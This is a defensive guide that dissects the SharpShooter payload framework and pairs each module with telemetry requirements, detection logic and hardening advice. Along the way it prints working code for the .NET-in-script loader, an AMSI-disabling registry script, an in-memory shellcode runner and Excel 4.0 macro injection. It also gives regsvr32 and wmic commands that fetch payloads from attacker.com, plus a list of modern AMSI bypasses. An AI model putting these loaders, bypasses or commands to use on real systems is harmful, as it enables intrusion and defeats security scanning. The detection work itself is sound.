1. Executive Summary
SharpShooter is a payload generation framework that creates weaponized script files (JS, VBS, HTA, WSF, VBA, SLK) capable of executing arbitrary shellcode or .NET assemblies on Windows endpoints. Unlike simpler payload generators, SharpShooter chains multiple evasion techniques into a single delivery pipeline:
- DotNetToJScript deserialization loads a .NET assembly into a Windows Script Host (WSH) process without touching disk
- AMSI bypass via registry modification disables script scanning before payload execution
- COM object abuse provides 5 distinct application whitelist bypass paths (Outlook, ShellBrowserWindow, WMI, WScript.Shell, XSL/Squiblydoo)
- HTML smuggling (Demiguise technique) bypasses email/web gateways by encrypting and embedding payloads in HTML
- Staged delivery via HTTP or DNS TXT records retrieves payloads post-execution
- Sandbox evasion (CheckPlease) gates execution on domain membership, MAC address, file artifacts, and debugger state
- Excel 4.0 macros in SLK format execute shellcode via Win32 API CALL() functions
This guide provides detection-ready Sigma rules, behavioral chains, and telemetry requirements for each module, derived from line-by-line source code analysis.
Key detection insight: SharpShooter's most reliable detection surface is the CLR loading pattern — script host processes (wscript.exe, cscript.exe, mshta.exe) loading .NET runtime DLLs (clr.dll, mscoree.dll, clrjit.dll) is the common thread across all output formats. This is a high-fidelity signal that persists regardless of payload obfuscation.
2. Architecture & Execution Flow
2.1 Generator-Side (Attacker Workstation)
SharpShooter.py (entry point)
├── Payload selection: --payload [hta|js|jse|vba|vbe|vbs|wsf|macro|slk]
├── Delivery mode: --stageless (embedded) | --staged [web|dns]
├── Shellcode input: --rawscfile <shellcode.bin> | --dotnetv2 / --dotnetv4
├── Encryption: RC4 with random key → base64 encoding
├── Template selection: harness.{js|vbs|hta|wsf|vba}
├── Optional modules:
│ ├── --amsi [amsienable]
│ ├── --smuggle + --template [mcafee|sharepoint]
│ ├── --com [outlook|shellbrowserwindow|wmi|wscript|xsl]
│ └── --sandbox [1-5] (CheckPlease evasion checks)
└── Output: weaponized file ready for delivery
2.2 Victim-Side Execution Chain
User opens file (email/download/smuggled)
│
├─ [HTA/JS/VBS/WSF] → Windows Script Host loads file
│ ├─ RC4 decrypt → base64 decode (harness template)
│ ├─ [If AMSI bypass] Set AmsiEnable=0, re-launch
│ ├─ BinaryFormatter.Deserialize → DotNetToJScript
│ │ └─ System.Reflection.Assembly.Load(byte[])
│ │ └─ SharpShooter.CreateInstance()
│ ├─ [If sandbox checks] CheckPlease gates
│ ├─ [If COM bypass] Squiblydoo/ShellBrowserWindow/etc.
│ └─ [Staged] WebClient.DownloadString() or nslookup DNS TXT
│ └─ CSharpCodeProvider.CompileAssemblyFromSource()
│ └─ Assembly.GetEntryPoint().Invoke()
│
├─ [Stageless] Shellcode embedded in DotNetToJScript payload
│ └─ VirtualAlloc(RWX) → Marshal.Copy → Delegate execution
│
└─ [SLK] Excel opens .slk → XLM REGISTER → CALL VirtualAlloc/WPM/CreateThread
2.3 Key File Relationships
| Generator File | Purpose | Victim-Side Artifact |
|---|---|---|
SharpShooter.py | CLI entry point, template stitching | None (attacker-side only) |
templates/harness.js | RC4 decrypt + base64 decode + eval | JS/JSE payload body |
templates/harness.vbs | RC4 decrypt + XMLDOM base64 decode + Execute | VBS/VBE payload body |
templates/harness.hta | HTA wrapper with VBScript executor | HTA payload body |
templates/harness.wsf | WSF wrapper | WSF payload body |
templates/sharpshooter.js | DotNetToJScript loader (JS, staged) | Core execution engine |
templates/sharpshooter.vbs | DotNetToJScript loader (VBS, staged) | Core execution engine |
templates/stageless.js | DotNetToJScript loader (JS, stageless) | Core execution engine |
templates/shellcode.cs | VirtualAlloc+Marshal.Copy injector | Compiled in-memory |
CSharpShooter/SharpShooter.cs | Staged C# payload (web/DNS delivery) | Loaded via deserialization |
CSharpShooter/CheckPlease.cs | Sandbox evasion module | Loaded via deserialization |
CSharpShooterStageless/SharpShooter.cs | Stageless C# payload (direct shellcode exec) | Loaded via deserialization |
modules/amsikiller.py | AMSI bypass code generation | Prepended to payload |
modules/awl.py | COM bypass code generation | Injected into template |
modules/embedinhtml.py | HTML smuggling wrapper | HTML delivery file |
modules/excel4.py | SLK macro generator | .slk file |
3. Module-by-Module Source Code Analysis
3.1 DotNetToJScript Core (sharpshooter.js / sharpshooter.vbs)
Source: templates/sharpshooter.js:1-290, templates/sharpshooter.vbs:1-297
The core execution mechanism uses James Forshaw's DotNetToJScript technique. The serialized .NET assembly is embedded as a base64 string containing a BinaryFormatter-serialized object graph.
Deserialization chain (from the embedded base64 blob):
BinaryFormatter.Deserialize()
→ DelegateSerializationHolder
→ target: System.Runtime.Remoting.Messaging.HeaderHandler
→ method: System.Delegate.DynamicInvoke
→ System.Xml.Schema.XmlValueGetter
→ System.Reflection.Assembly.Load(Byte[])
→ SharpShooter.CreateInstance("SharpShooter")
JavaScript loader pattern (sharpshooter.js:275-289):
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
Detection-relevant indicators:
- ActiveXObject instantiation of
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter - ActiveXObject instantiation of
System.Text.ASCIIEncoding(inbase64ToStream) - ActiveXObject instantiation of
System.Security.Cryptography.FromBase64Transform - ActiveXObject instantiation of
System.IO.MemoryStream - String literal
entry_class = 'SharpShooter' DynamicInvokemethod call followed by.CreateInstance()- The base64 blob contains the PE header
MZ(TVqQin base64) — marker for an embedded .NET assembly
VBScript variant (sharpshooter.vbs:279-285) uses identical COM object chain:
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
3.2 AMSI Bypass Module (amsikiller.py)
Source: modules/amsikiller.py
Implements a single AMSI bypass technique: disabling Windows Script Host AMSI integration via registry modification.
Registry target:
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 (DWORD)
Execution flow:
- Read current
AmsiEnablevalue (if exists) - Set
AmsiEnableto0viaWScript.Shell.RegWrite(VBS) orWScript.Shell.RegWritevia ActiveXObject (JS) - Re-launch the current script through one of two COM objects:
WScript.Shell→RunmethodShellBrowserWindowCOM →Document.Application.ShellExecute
- After payload execution, restore original
AmsiEnablevalue
JS variant (generated code):
var sh = new ActiveXObject('WScript.Shell');
try {
var val = sh.RegRead('HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable');
} catch(e) {}
sh.RegWrite('HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable', 0, 'REG_DWORD');
// re-launch script to take effect
sh.Run('"' + WScript.ScriptFullName + '"');
// restore after execution
sh.RegWrite('HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable', 1, 'REG_DWORD');
Detection-critical detail: The registry write and restore happen within the same execution chain, so the AmsiEnable=0 state is transient. Sysmon EID 13 (RegistryValueSet) will capture both the write-to-0 and the restore-to-1, creating a distinctive paired pattern.
3.3 Application Whitelist Bypass Module (awl.py)
Source: modules/awl.py
Provides 5 COM-based execution techniques that bypass application whitelisting controls.
3.3.1 Outlook COM Staging
CLSID: {0006F03A-0000-0000-C000-000000000046} (Outlook.Application)
Creates an Outlook.Application COM object, uses CreateObject("Wscript.Shell") through Outlook's scripting interface, then executes a second-stage payload (XSL stylesheet or SCT scriptlet).
Key code pattern (JS):
var outlook = new ActiveXObject("Outlook.Application");
var shell = outlook.CreateObject("Wscript.Shell");
3.3.2 ShellBrowserWindow
CLSID: {C08AFD90-F2A1-11D1-8455-00A0C91F3880}
Instantiates the ShellBrowserWindow COM object and uses Document.Application.ShellExecute to launch a process.
Key code pattern (JS):
var obj = new ActiveXObject("Shell.Application");
// or via GetObject with CLSID
var shell = GetObject("new:{C08AFD90-F2A1-11D1-8455-00A0C91F3880}");
shell.Document.Application.ShellExecute(payload);
3.3.3 WMI Process Creation
Uses Win32_Process.Create via WMI to spawn a new process.
var wmi = GetObject("winmgmts:\\\\.\root\\cimv2:Win32_Process");
wmi.Create(command);
3.3.4 WScript.Shell Direct
CLSID: {72C24DD5-D70A-438B-8A42-98424B88AFB8}
Direct COM instantiation of WScript.Shell bypassing script-level restrictions.
3.3.5 XSL Remote — Squiblydoo & Squiblytwo
Squiblydoo: Uses regsvr32.exe to load a COM scriptlet (SCT) from a remote URL:
regsvr32 /s /u /n /i:http://attacker.com/payload.sct scrobj.dll
Squiblytwo: Uses wmic.exe with the /format: switch to load a remote XSL stylesheet:
wmic os get /format:"http://attacker.com/payload.xsl"
The awl.py module generates either an XSL stylesheet or an SCT scriptlet as the second-stage payload. The XSL contains embedded JScript/VBScript that re-enters the DotNetToJScript chain.
3.4 HTML Smuggling Module (embedinhtml.py)
Source: modules/embedinhtml.py
Implements the Demiguise HTML smuggling technique to bypass email/web content filters.
Process:
- RC4 encrypt the entire payload file using a random key
- Base64 encode the encrypted blob
- Embed in an HTML template with a JavaScript decryption stub
- On page load: base64 decode → RC4 decrypt → create Blob → trigger download
Critical JavaScript patterns in the generated HTML (templates/harness.hta style):
// RC4 implementation
rc4 = function(key, str) { ... }
// Base64 decode
decodeBase64 = function(s) { ... }
// Payload reconstruction
var b64block = "%B64PAYLOAD%";
var decoded = decodeBase64(b64block);
var plain = rc4(%KEY%, decoded);
Template themes:
sharepoint.tpl: Mimics a SharePoint document sharing pagemcafee.tpl: Mimics a McAfee security scan results page
Blob-based download trigger:
var blob = new Blob([array], {type: "application/octet-stream"});
if (window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveOrOpenBlob(blob, filename);
} else {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = filename;
a.click();
}
3.5 Staged Delivery — CSharpShooter (SharpShooter.cs)
Source: CSharpShooter/SharpShooter.cs
The staged C# payload loaded via DotNetToJScript. Supports two delivery channels.
3.5.1 Web Staging (AimWeb)
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
wc.UseDefaultCredentials = true;
string src = wc.DownloadString(url);
- Downloads GZip-compressed, base64-encoded C# source
- Custom User-Agent string (IE11/Trident)
- Uses default credentials (integrated Windows auth)
3.5.2 DNS Staging (AimDNS / LookupDNS)
Process p = new Process();
p.StartInfo.FileName = "nslookup";
p.StartInfo.Arguments = "-type=TXT -retry=3 -timeout=6 " + hostname;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.StartInfo.RedirectStandardOutput = true;
- Queries DNS TXT records using
nslookup.exewithCreateNoWindow=true - Parses TXT record values with regex:
{0}\s*text\s*=\s*(["'])(.*?)(["']) - Strips quotes, concatenates multi-record responses
- Each TXT record holds a fragment of the base64-encoded payload
3.5.3 In-Memory Compilation
Both channels feed into runtime compilation:
CSharpCodeProvider provider = new CSharpCodeProvider(
new Dictionary<string, string> { { "CompilerVersion", "v3.5" } }
);
CompilerParameters cp = new CompilerParameters();
cp.GenerateInMemory = true;
cp.GenerateExecutable = false;
cp.CompilerOptions = "/unsafe /platform:x86";
cp.TempFiles = new TempFileCollection("Temp", false);
- Writes temporary
.csfile to%LOCALAPPDATA%\Temp - Compiles with
/unsafefor pointer operations - Targets x86 platform
- Invokes
Assembly.GetEntryPoint().Invoke()on compiled result
3.6 Sandbox Evasion — CheckPlease (CheckPlease.cs)
Source: CSharpShooter/CheckPlease.cs
Five distinct sandbox detection checks, each calling Environment.Exit(1) on failure.
| Check ID | Method | Detection Logic |
|---|---|---|
| 0 | isDomain(arg) | IPGlobalProperties.GetIPGlobalProperties().DomainName matches supplied domain |
| 1 | isDomainJoined() | Domain name is not empty |
| 2 | containsSandboxArtifacts() | Checks for 32 VMware/VirtualBox driver files in C:\windows\Sysnative\Drivers\ |
| 3 | isBadMac() | First 3 octets of any NIC MAC match: 000C29, 001C14, 005056, 000569, 080027 |
| 4 | isDebugged() | System.Diagnostics.Debugger.IsAttached |
Sandbox artifact list (all under C:\windows\Sysnative\Drivers\):
VMware: Vmmouse.sys, vm3dgl.dll, vmdum.dll, vm3dver.dll, vmtray.dll, vmci.sys, vmusbmouse.sys, vmx_svga.sys, vmxnet.sys, VMToolsHook.dll, vmhgfs.dll, vmmousever.dll, vmGuestLib.dll, VmGuestLibJava.dll, vmscsi.sys
VirtualBox: VBoxMouse.sys, VBoxGuest.sys, VBoxSF.sys, VBoxVideo.sys, vboxdisp.dll, vboxhook.dll, vboxmrxnp.dll, vboxogl.dll, vboxoglarrayspu.dll, vboxoglcrutil.dll, vboxoglerrorspu.dll, vboxoglfeedbackspu.dll, vboxoglpackspu.dll, vboxoglpassthroughspu.dll, vboxservice.exe, vboxtray.exe, VBoxControl.exe
MAC OUI prefixes:
00:0C:29— VMware00:1C:14— VMware00:50:56— VMware00:05:69— VMware08:00:27— VirtualBox
3.7 Stageless Shellcode Execution (CSharpShooterStageless)
Source: CSharpShooterStageless/SharpShooter.cs:82-105
Direct shellcode execution without staging:
public void Shoot(String shellcode64)
{
byte[] sc = Convert.FromBase64String(shellcode64);
IntPtr baseAddr = VirtualAlloc(
IntPtr.Zero,
(UIntPtr)(sc.Length + 1),
AllocationType.RESERVE | AllocationType.COMMIT,
MemoryProtection.EXECUTE_READWRITE // RWX
);
Marshal.Copy(sc, 0, baseAddr, sc.Length);
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(
baseAddr, typeof(ExecuteDelegate)
);
del();
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
}
Detection indicators:
VirtualAllocwithEXECUTE_READWRITE(0x40) — the most aggressive RWX permissionMarshal.Copyto write shellcode into allocated memoryGetDelegateForFunctionPointerto create executable delegate from raw pointer- Memory allocation size correlates to shellcode size + 1
3.8 Excel 4.0 / SLK Macro Generator (excel4.py)
Source: modules/excel4.py
Generates Symbolic Link (SLK) format files containing Excel 4.0 (XLM) macros that execute shellcode through Win32 API calls.
API registration chain (XLM REGISTER function):
REGISTER("Kernel32", "VirtualAlloc", "JJJJJ", "VirtualAlloc", , 1, 9)
REGISTER("Kernel32", "WriteProcessMemory", "JJJCJJ", "WPM", , 1, 9)
REGISTER("Kernel32", "CreateThread", "JJJJJJJ", "CreateThread", , 1, 9)
Shellcode injection sequence:
VirtualAlloc(0, shellcode_len, 0x3000, 0x40)— allocate RWX memory- For each 20-byte chunk:
WriteProcessMemory(-1, addr, chunk, 20, 0)— write shellcode CreateThread(0, 0, base_addr, 0, 0, 0)— execute shellcode
Limitation: Shellcode cannot contain null bytes (0x00) because SLK format cannot represent them.
4. Telemetry Requirements
4.1 Minimum Viable Telemetry
| Source | Event ID | What It Captures | SharpShooter Relevance |
|---|---|---|---|
| Sysmon | EID 1 (ProcessCreate) | Process creation with command line, parent process, hashes | Script host launches, nslookup staging, regsvr32/wmic execution |
| Sysmon | EID 3 (NetworkConnect) | Network connections by process | Staged delivery HTTP/HTTPS callbacks |
| Sysmon | EID 7 (ImageLoad) | DLL loads with signature info | CLR loading in script hosts (clr.dll, mscoree.dll, clrjit.dll) |
| Sysmon | EID 11 (FileCreate) | File creation events | Temp .cs files from CSharpCodeProvider, smuggled file drops |
| Sysmon | EID 13 (RegistryValueSet) | Registry value modifications | AmsiEnable bypass, COM CLSID access |
| Sysmon | EID 22 (DNSQuery) | DNS queries with query name | DNS staging TXT record lookups |
| Windows Security | EID 4688 | Process creation (with audit policy) | Backup for Sysmon EID 1 |
| Microsoft-Windows-AMSI | EID 1101 | AMSI scan results | Payload content scanning (CLR 4.8+ only) |
| .NET Runtime ETW | Microsoft-Windows-DotNETRuntime | Assembly load events | In-memory assembly loading |
4.2 Enhanced Telemetry
| Source | Event ID | What It Captures | SharpShooter Relevance |
|---|---|---|---|
| Sysmon | EID 10 (ProcessAccess) | Cross-process access | Shellcode injection into remote processes |
| Sysmon | EID 12 (RegistryCreate) | Registry key creation | New AmsiEnable key creation |
| Sysmon | EID 15 (FileCreateStreamHash) | Alternate data stream creation | MOTW checks on downloaded files |
| Sysmon | EID 25 (ProcessTampering) | Process image changes | Hollowing/stomping detection |
| ETW | Microsoft-Windows-WMI-Activity | WMI method execution | Win32_Process.Create calls |
| PowerShell | EID 4104 | Script block logging | If PowerShell is used as a secondary stage |
4.3 Sysmon Configuration Requirements
Critical image loads to monitor for DotNetToJScript detection:
<Sysmon schemaversion="4.90">
<EventFiltering>
<!-- EID 7: CLR loading in script hosts -->
<ImageLoad onmatch="include">
<Image condition="end with">wscript.exe</Image>
<Image condition="end with">cscript.exe</Image>
<Image condition="end with">mshta.exe</Image>
<Image condition="end with">regsvr32.exe</Image>
<Image condition="end with">wmic.exe</Image>
</ImageLoad>
<!-- EID 13: AMSI registry tampering -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">Windows Script\Settings\AmsiEnable</TargetObject>
</RegistryEvent>
<!-- EID 22: DNS staging detection -->
<DnsQuery onmatch="include">
<QueryName condition="end with">.txt</QueryName>
</DnsQuery>
</EventFiltering>
</Sysmon>
Note: The ImageLoad rule above is intentionally broad — it captures all DLL loads by script hosts. Filter on specific DLLs (clr.dll, mscoree.dll, clrjit.dll, jscript.dll, vbscript.dll, scrobj.dll) in your SIEM to reduce volume.
5. Detection Chain 1: DotNetToJScript Deserialization
5.1 Technique
MITRE: T1059.007 (JavaScript), T1059.005 (Visual Basic) → T1620 (Reflective Code Loading)
SharpShooter uses BinaryFormatter deserialization to load a .NET assembly entirely in memory. The serialized payload contains a delegate chain that ultimately calls System.Reflection.Assembly.Load(byte[]), loading the compiled C# SharpShooter assembly without writing a PE file to disk.
5.2 Why It Works
- CLR version targeting: SharpShooter defaults to .NET v2, which has no AMSI integration. Even on systems with .NET 4.8+, the
SetVersion()stub in templates forces CLR v2 loading - No disk artifacts: The .NET assembly exists only in memory — no DLL or EXE is written
- Legitimate COM objects: Every COM object used (BinaryFormatter, MemoryStream, ASCIIEncoding) is a standard .NET class
- Script host trust: wscript.exe, cscript.exe, and mshta.exe are Microsoft-signed and typically allowed by application whitelisting
5.3 Detection Opportunities
Primary signal — CLR loading in script hosts (Sysmon EID 7):
When a script host executes DotNetToJScript, the Windows Script Host runtime must load the .NET CLR. This produces a sequence of DLL loads that are abnormal for script execution:
wscript.exe/cscript.exe/mshta.exe loading:
→ mscoree.dll (CLR bootstrap)
→ clr.dll (CLR runtime)
→ clrjit.dll (JIT compiler)
→ mscorlib.ni.dll (core .NET library)
Legitimate script execution via WSH uses jscript.dll or vbscript.dll and does not require the CLR. The presence of mscoree.dll or clr.dll loaded by wscript.exe/cscript.exe is a high-confidence indicator of DotNetToJScript or similar .NET-in-script-host techniques.
Secondary signal — BinaryFormatter COM instantiation (AMSI/ETW):
On CLR 4.8+ systems, AMSI may capture the serialization activity. The ETW Microsoft-Windows-DotNETRuntime provider logs assembly loads, including the in-memory assembly name SharpShooterAssembly.
Tertiary signal — Script content patterns (static analysis):
The generated scripts contain distinctive string patterns:
System.Runtime.Serialization.Formatters.Binary.BinaryFormatterSystem.Security.Cryptography.FromBase64TransformDynamicInvokeCreateInstanceSurrogateSelector
5.4 False Positive Considerations
- Some legitimate .NET administrative tools use script hosts + CLR (e.g., certain Group Policy scripts)
- Filter by user context: SharpShooter payloads typically execute in interactive user sessions, not SYSTEM
- The
SharpShooterAssemblyassembly name is a strong discriminator but can be changed by the attacker
6. Detection Chain 2: AMSI Registry Bypass
6.1 Technique
MITRE: T1562.001 (Impair Defenses: Disable or Modify Tools)
The amsikiller.py module sets HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable to 0, which disables AMSI scanning for all Windows Script Host execution under the current user context. The script then re-launches itself (so the new registry value takes effect) and restores the value after payload execution.
6.2 Detection Opportunities
Primary signal — Registry modification (Sysmon EID 13):
EventType: SetValue
TargetObject: HKU\<SID>\Software\Microsoft\Windows Script\Settings\AmsiEnable
Details: DWORD (0x00000000)
Paired pattern: Within seconds, a second EID 13 event restores the value:
TargetObject: HKU\<SID>\Software\Microsoft\Windows Script\Settings\AmsiEnable
Details: DWORD (0x00000001)
This write-restore pattern within a short time window (~1-5 seconds) is highly anomalous and specific to this bypass technique.
Secondary signal — Script self-relaunch:
After setting AmsiEnable=0, the script re-launches itself. This creates a parent-child relationship:
wscript.exe (PID 1234) → wscript.exe (PID 5678)
Same script path in both command lines, with the child process inheriting the now-disabled AMSI state.
6.3 False Positives
- Broadcom/Symantec has a separate
AMSIEnabledvalue under its own registry key — do not confuse the two - IT administrators may legitimately disable AMSI for troubleshooting, but this would not involve the write-restore pattern
- Group Policy can set this value, but GPO-driven changes originate from
svchost.exe, not from script hosts
6.4 Coverage Gap — Modern AMSI Bypass Techniques
CRITICAL GAP: The registry-based bypass this chain detects represents 2018-era attacker TTPs. Current state-of-practice (2024-2026) AMSI bypasses leave no registry or file artifact and will not be caught by Rule 2 or Chain 2.
| Technique | Artifact | This Guide's Coverage |
|---|---|---|
| AmsiScanBuffer memory patch | 1-byte patch to clr.dll+amsi.dll in process memory; forces AMSI_RESULT_CLEAN return | None — no registry write, no file touch |
| AmsiScanBuffer hardware breakpoint | DR0-DR3 debug registers trap and skip | None — process-only, no artifact |
| AmsiContext corruption | Overwrite AmsiContext signature in-memory to invalidate scanner | None |
| AMSI session hash predictable | Call AmsiOpenSession with crafted context to force collision | None |
Reflection-based amsiInitFailed set | Set System.Management.Automation.AmsiUtils.amsiInitFailed = true via reflection | Partial — PowerShell 4104 logging if script-block logging on |
| Managed-code AMSI stub rewriting | Rewrite CLR AMSI init stub via System.Reflection.Emit | None |
| Hooking NtTraceEvent | Patch to suppress ETW events from AMSI | None |
Compensating detections to add:
- ETW Microsoft-Windows-Threat-Intelligence provider (
{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}) — exposes direct syscall abuse and PE memory anomalies. Requires PPL EDR. - Memory integrity scans of
amsi.dllin critical processes (powershell.exe, wscript.exe, cscript.exe). EDR-level, not Sysmon. - Hardware breakpoint anomaly detection via
GetThreadContextmonitoring in high-value processes. - AMSI event log EID 1101 absence — if a script host executed scripts but AMSI logged zero scans, that is itself anomalous. Compare EID 1101 counts to EID 4104 PowerShell script block counts hourly.
7. Detection Chain 3: COM-Based Application Whitelist Bypass
7.1 Techniques
| COM Method | MITRE | Detection Signal |
|---|---|---|
| Outlook COM | T1218 (System Binary Proxy Execution) | outlook.exe COM server activation by script host |
| ShellBrowserWindow | T1218 | CLSID {C08AFD90-...} instantiation + ShellExecute |
| WMI Process Create | T1047 (WMI) | Win32_Process.Create from script host context |
| WScript.Shell | T1059 | CLSID {72C24DD5-...} direct instantiation |
| Squiblydoo | T1218.010 (Regsvr32) | regsvr32 /s /u /n /i:[url] scrobj.dll |
| Squiblytwo | T1220 (XSL Processing) | wmic os get /format:[url] |
7.2 Squiblydoo Detection (regsvr32 + scrobj.dll)
Process creation (Sysmon EID 1):
Image: C:\Windows\System32\regsvr32.exe
CommandLine contains: scrobj.dll
CommandLine contains: /i:http OR /i:\\
CommandLine contains: /s /u /n
This combination has near-zero false positives. Legitimate regsvr32 usage registers local DLLs and does not use scrobj.dll with remote URLs.
7.3 Squiblytwo Detection (wmic + /format:)
Process creation (Sysmon EID 1):
Image: C:\Windows\System32\wbem\WMIC.exe
CommandLine contains: /format:
CommandLine matches: (http|\\\\)
Image load (Sysmon EID 7): wmic.exe loading jscript.dll or vbscript.dll indicates XSL with embedded script execution.
Note: wmic os get locale legitimately loads vbscript.dll for output formatting. Combine with command line analysis to reduce false positives.
7.4 COM Object Instantiation Detection
ShellBrowserWindow — CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880}:
Monitor for GetObject("new:{C08AFD90-...}") in AMSI telemetry or for the ShellBrowserWindow COM server activation in COM ETW traces. The Document.Application.ShellExecute method call from a script host is highly anomalous.
Outlook COM abuse — Any script host creating Outlook.Application COM objects:
Sysmon EID 1 showing OUTLOOK.EXE spawned as a COM server (with -Embedding flag) where the parent is svchost.exe (COM activation), correlated with a concurrent wscript.exe/cscript.exe running.
8. Detection Chain 4: HTML Smuggling (Demiguise)
8.1 Technique
MITRE: T1027.006 (Obfuscated Files or Information: HTML Smuggling)
The embedinhtml.py module wraps any SharpShooter payload in an HTML file that:
- Contains the encrypted+encoded payload as a JavaScript string variable
- On page load, decrypts with RC4 and decodes from base64
- Constructs a Blob object and triggers a file download via
URL.createObjectURL()ormsSaveOrOpenBlob()
8.2 Detection Opportunities
Email gateway / content filter (pre-delivery):
Scan HTML attachments and links for:
- Large base64-encoded string blocks (>50KB) —
var b64block = "..."patterns - JavaScript RC4 implementation functions (S-box initialization loop)
new Blob([array], {type: "application/octet-stream"})URL.createObjectURL()combined witha.download =msSaveOrOpenBlob()ormsSaveBlob()API usage
Endpoint (post-delivery):
The smuggled file drops to the user's Downloads folder. Detection focuses on the temporal chain:
Browser (chrome.exe/msedge.exe/firefox.exe)
→ opens HTML file containing JavaScript
→ writes file to Downloads (Sysmon EID 11)
→ user double-clicks dropped file
→ wscript.exe / cscript.exe / mshta.exe / excel.exe launches
The time window between HTML open and script host execution is typically 1-30 seconds for automated drops, or 1-10 minutes for user-interaction-dependent scenarios.
YARA-style indicators for HTML smuggling pages:
strings:
$rc4_init = "for (var i = 0; i < 256; i++)" ascii
$rc4_swap = "s[i] = s[j]" ascii
$blob_create = "new Blob(" ascii
$url_create = "createObjectURL" ascii
$save_blob = "msSaveOrOpenBlob" ascii
$b64_decode = "decodeBase64" ascii
$fromCharCode = "String.fromCharCode" ascii
$template_sp = "sharepoint" ascii nocase
$template_mcafee = "mcafee" ascii nocase
condition:
($rc4_init and $rc4_swap) and ($blob_create or $save_blob) and $fromCharCode
8.3 Limitations
JavaScript obfuscation can defeat static signatures. The RC4 function can be rewritten in countless ways. Content-based detection should be layered with behavioral detection (browser dropping executable/script files → script host execution).
9. Detection Chain 5: Staged Payload Delivery (Web & DNS)
9.1 Web Staging
MITRE: T1105 (Ingress Tool Transfer)
Network indicators:
- User-Agent:
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko— this IE11 User-Agent string is hardcoded inSharpShooter.cs:line ~65and is increasingly anachronistic - HTTP GET from wscript.exe / cscript.exe process (these processes should rarely make HTTP connections)
- Response body contains GZip-compressed, base64-encoded C# source code
Sysmon EID 3 (NetworkConnect):
Image: C:\Windows\System32\wscript.exe OR cscript.exe
DestinationPort: 80 or 443
Script hosts making outbound HTTP connections is abnormal in most environments and warrants investigation.
9.2 DNS Staging
MITRE: T1071.004 (Application Layer Protocol: DNS)
Process creation (Sysmon EID 1):
Image: C:\Windows\System32\nslookup.exe
ParentImage: *\wscript.exe OR *\cscript.exe OR *\mshta.exe
CommandLine contains: -type=TXT
Key behavioral pattern: SharpShooter issues multiple sequential nslookup queries to the same domain (or sequential subdomains), concatenating TXT record values to reconstruct the payload. The queries use -retry=3 -timeout=6 flags.
Sysmon EID 22 (DNSQuery):
QueryName: sequential pattern (e.g., a.evil.com, b.evil.com, c.evil.com)
ProcessImage: nslookup.exe
False positive note: Legitimate nslookup TXT queries exist (SPF/DKIM verification tools), but they are rarely spawned by script hosts.
9.3 In-Memory Compilation
After staging, SharpShooter compiles C# source at runtime:
Sysmon EID 11 (FileCreate):
TargetFilename: %LOCALAPPDATA%\Temp\*.cs
Image: wscript.exe OR cscript.exe
Sysmon EID 1 (ProcessCreate):
Image: C:\Windows\Microsoft.NET\Framework\v*\csc.exe
ParentImage: *\wscript.exe OR *\cscript.exe
CommandLine contains: /unsafe
The C# compiler (csc.exe) spawned by a script host is a high-confidence indicator. The /unsafe flag enables pointer manipulation required for shellcode injection.
10. Detection Chain 6: Excel 4.0 / SLK Macro Shellcode
10.1 Technique
MITRE: T1204.002 (User Execution: Malicious File) → T1059.001 (via XLM)
SharpShooter's excel4.py generates SLK (Symbolic Link) files containing Excel 4.0 macros. SLK is a plaintext spreadsheet interchange format that Excel opens natively. The macros use REGISTER() to import Win32 APIs and CALL() to execute them.
10.2 Detection Opportunities
AMSI integration (Excel 365 / Office 2021+):
Modern Excel versions scan XLM macros via AMSI at runtime, exposing the REGISTER and CALL function names to endpoint security products. However, this requires CLR 4.8+ and is bypassed by trusted locations/documents.
Process behavior (Sysmon EID 1): Excel spawning unexpected child processes after opening an SLK file:
ParentImage: *\EXCEL.EXE
Image: C:\Windows\System32\cmd.exe OR powershell.exe OR rundll32.exe
File creation (Sysmon EID 11): SLK files arriving via email or web download:
TargetFilename: *.slk
Static analysis of SLK content: The SLK format is plaintext. Malicious SLK files contain:
ID;P
// ...
C;X1;Y1;K0;EREGISTER("Kernel32","VirtualAlloc","JJJJJ","VirtualAlloc",,1,9)
C;X2;Y1;K0;EREGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WPM",,1,9)
C;X3;Y1;K0;EREGISTER("Kernel32","CreateThread","JJJJJJJ","CreateThread",,1,9)
YARA for SLK shellcode loaders:
strings:
$slk_header = "ID;P" ascii
$register_va = "REGISTER(\"Kernel32\",\"VirtualAlloc\"" ascii nocase
$register_wpm = "REGISTER(\"Kernel32\",\"WriteProcessMemory\"" ascii nocase
$register_ct = "REGISTER(\"Kernel32\",\"CreateThread\"" ascii nocase
$call_func = "CALL(" ascii
condition:
$slk_header at 0 and 2 of ($register_*)
10.3 Hardening
- Disable XLM macros: Group Policy →
User Configuration\Administrative Templates\Microsoft Excel\Excel Options\Security\Trust Center→ disable Excel 4.0 macros - Block SLK files: Email gateway rules should block
.slkattachments - ASR Rule: GUID
3b576869-a4ec-4529-8536-b80a7769e899— Block Office applications from creating executable content
